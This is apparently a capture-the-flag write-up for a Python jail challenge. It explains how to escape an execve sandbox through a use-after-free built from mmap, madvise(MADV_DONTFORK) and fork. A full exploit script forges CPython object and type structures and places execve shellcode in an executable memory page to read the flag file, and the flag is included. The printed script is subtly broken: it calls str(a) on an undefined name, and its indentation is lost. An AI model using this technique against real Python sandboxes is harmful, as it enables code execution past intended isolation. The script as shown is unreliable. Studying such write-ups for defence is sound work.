Do you like Python jails?
The author tried to sandbox all execve()
calls, but failed. The one of possible solution is to use os.posix_spawn()
. Probably the correct sandbox could be achieved with seccomp
to block execve entirely, then the challenge makes sense.
We need to bypass python's memory checks and do memory corruption.
There are some existing bugs in cpython that works on the latest version:
-
python/cpython#91153 (will be fixed in Python 3.12)
-
python/cpython#60198, here is a public exploit
The author tried to fix these bugs by removing memoryview
, bytearray
, io.BufferedReader
and io.BufferedWriter
objects.
The intended solution is based on mmap and madvise syscalls. There are a useful parameter for madvise()
:
MADV_DONTFORK (since Linux 2.6.16)
Do not make the pages in this range available to the child
after a fork(2). This is useful to prevent copy-on-write
semantics from changing the physical location of a page if
the parent writes to it after a fork(2). (Such page
relocations cause problems for hardware that DMAs into the
page.)
It means that if we've set MADV_DONTFORK on a page, this page will not be copied to fork. How to use this?
-
Create a page using
mmap.mmap()
, callmadvise(MADV_DONTFORK)
on this page. -
Call
os.fork()
. The page will not exists in child, but the object containing the pointer will be copied. So we have got a bad pointerptr
in child. -
Allocate a very long list
list
in child, for example 0x1000 elements. The existing Python's heap are too small for this, so the allocator will callmmap()
to get more space. The address of a new page will be the same asptr
. -
So
list
andptr
point to the same memory, this is use-after-free vulnerability. -
Create a fake object type with custom
repr()
function that contains a payload. Then create an instanceobj
of this object. -
Add
obj
tolist
usingptr
. Then callrepr(list)
.
Example solution:
import os
import time
import mmap
page = mmap.mmap(-1, 0x1000 * 16)
page.madvise(mmap.MADV_DONTFORK)
serialize = lambda x: b''.join(y.to_bytes(8, 'little') for y in x)
if os.fork():
time.sleep(1)
else:
array = [0] * 4096 * 25
page_ptr = id(array) - 0x110940
obj_type = serialize(
[
2, id(type),
0, id(b'') + 32,
33, 1,
] + [page_ptr] * 32
)
obj = serialize(
[
2, id(obj_type) + 32,
0, 1,
]
)
page[:8] = serialize([id(obj) + 32])
path = b'/challenge/flag'
path_ptr = serialize([id(path) + 32])
# a tiny execve shellcode using `path_ptr` in rdi
shellcode = b'\x48\x31\xC0\xB0\x3B\x48\xBF' + path_ptr + b'\x48\x31\xF6\x48\x31\xD2\x48\x31\xC9\x0F\x05'
rwx_page = mmap.mmap(-1, 0x1000 * 8, prot = 7)
rwx_page.write(b'\x90' * 0x1000 * 8)
rwx_page[-len(shellcode):] = shellcode
str(a)
The challenge limits input's length, so the actual solution is minified.
Example minified solution: solution/exploit.py
Aero{RCE_1n_Pyth0n_1s_d4NG3r0uS_ev3Ry_t1m3}